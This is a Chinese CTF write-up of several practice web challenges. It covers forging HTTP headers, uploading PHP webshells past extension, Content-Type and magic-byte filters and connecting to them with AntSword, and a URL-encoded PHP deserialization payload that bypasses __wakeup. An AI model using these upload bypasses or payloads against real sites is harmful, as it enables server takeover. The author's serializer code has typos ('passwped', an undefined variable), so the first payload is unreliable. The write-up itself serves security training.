目录
[极客大挑战 2019]Http1
进入题目发啥也没有,查看源码发现一个子文件,在url中访问得到一个新页面
网页提示你不是来自这个网址访问的,这里可以使用burp抓包来修改Referer
访问后提示请使用Syclover浏览器进行访问,进行修改User-Agent
回显提示你只可以在本地访问本内容,继续修改X-Forwarded-For,填入回环地址得到flag
考点:http头信息
什么是Referer?
Referer:Referer表示请求的来源,比如什么网站经过链接跳转过来的,就是告诉服务端你是从哪里来的
作用:Referer是 防盗链 和 防止恶意请求
什么是User-Agent?
User-Agent中文名为用户代理,简称 UA,是Http协议中的一部分,属于头域的组成部分,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。在网络请求当中,User-Agent 是标明身份的一种标识,通过这个标识,用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计;例如用手机访问谷歌和电脑访问是不一样的,这些是谷歌根据访问者的UA来判断的。UA可以进行伪装。
什么是X-Forwarded-For?
X-Forwarded-For 是一个 HTTP 扩展头部。用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。
[极客大挑战 2019]Knife1
打开题目,这个提示已经很明显了打开菜刀进行连一下就可以了 密码也告诉你了
连接成功以后访问网站flag就在根目录下
蚁剑官方github下载,网址为https://github.com/AntSwordProject/AntSword-Loader
[极客大挑战 2019]Upload1
随便上传一句 一句话木马发现发现被过滤了,使用burp进行抓包分析
提示上传的文件不是图片,修改Content-Type为图片格式
这里对文件后缀进行了过滤,这里可以使用 .phtml进行绕过
php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/ 的后缀,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上传php文件时测试该类型
这里乱码解码出来就是<? 对php语句进行了过滤 这里可以参考一句话木马变形 使用<script>代替<?来进行绕过
这里回显这跟本不是图片,这里对头文件进行了检测使用GIF89a进行绕过
这里可以看见上传成功了,然后来找一下文件路径一般文件上传的题 都在把文件上传到upload目录下 我们这里访问一下
这里看见已经上传成功了使用蚁剑进行连接就可以了,访问根目录得到flag
[ACTF2020 新生赛]Upload1
上传一句话木马,发现对文件后缀进行了过滤。这里我准备抓包改后缀的但是burp抓不到
因为burp是建立在客户端和服务端之前的所以这里推断在前端就进行了过滤
我们先修改文件后缀在进行抓包
这里发现修改为gif已经上传成功了,但是gif文件在服务端执行不了php,所以在把或者改为php才行,但是这里还是对后缀进行了过滤要/phtml才可以
上传成功我们访问一下路径
没有报404就是成功了,想要有回显也可以echo一下。
复制链接使用蚁剑进行连接,在根目录找到flag
[极客大挑战 2019]PHP1
打开题目发现是让我访问备份文件,像大佬就可以直接盲猜,但我还是小白一只
这里我们使用dirsearch扫一下目录
但是429了可能平台有限制,我这就大概猜了一下
访问www.zip 得到了一个压缩包
打开class.php和index.php文件得到一下源码
进行代码审计
<?php
include 'class.php'; //包含了class.php
$select = $_GET['select']; //以get方式传入一个select
$res=unserialize(@$select); //对刚刚传入的select进行序列化
?>
<?php
include 'flag.php';
error_reporting(0);
class Name{ //定义了一个Name类
private $username = 'nonono'; //定义了私有变量
private $password = 'yesyes'; //定义了私有变量
public function __construct($username,$password){
$this->username = $username; //给变量赋值
$this->password = $password; //给变量赋值
}
function __wakeup(){ //反序列后被调用
$this->username = 'guest'; //给赋值为guest
}
function __destruct(){
if ($this->password != 100) { //判断不等于100则输出一下语句
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') { //username等于admin的话就输出flag
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
审计得知:要使username=admin passwrod=100就 输入flag
但是我们进行序列化过后还是无法得到flag的值,因为_wakeup这个函数在被反序列话后就被执行了从而改变了username的值。
所以我们就要对_wakeup函数进行绕过,其参数个数大于实际参数个数,就会跳过这个函数。
我们先把成立的值先进行序列话
<?php
class Name
{
private $username='admin'; //定义私有并赋值
private $passwped='100';
}
$user = new Name(); //实列化
$str = serialize($user); //进行序列化
var_dump($set);
print_r(urlencode($set)); //将序列化的字符串进行url编码
?>
这里要注意一点private属性在进行序列化的时候有一个不可见字符但是在url编码下可以看见
然后修改字符的个数进行绕过_wakeup函数
payload:
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00passwped%22%3Bs%3A3%3A%22100%22%3B%7D
赋值给select进行传参就可以了
--------------------------------------------------------------------------------------
后面参考大佬文章也可以使用字符串,但是要把private属性的不可见字符进行url编码后在进行传参
?select=O:4:“Name”:3:{s:14:“%00Name%00username”;s:5:“admin”;s:14:“%00Name%00password”;i:100;}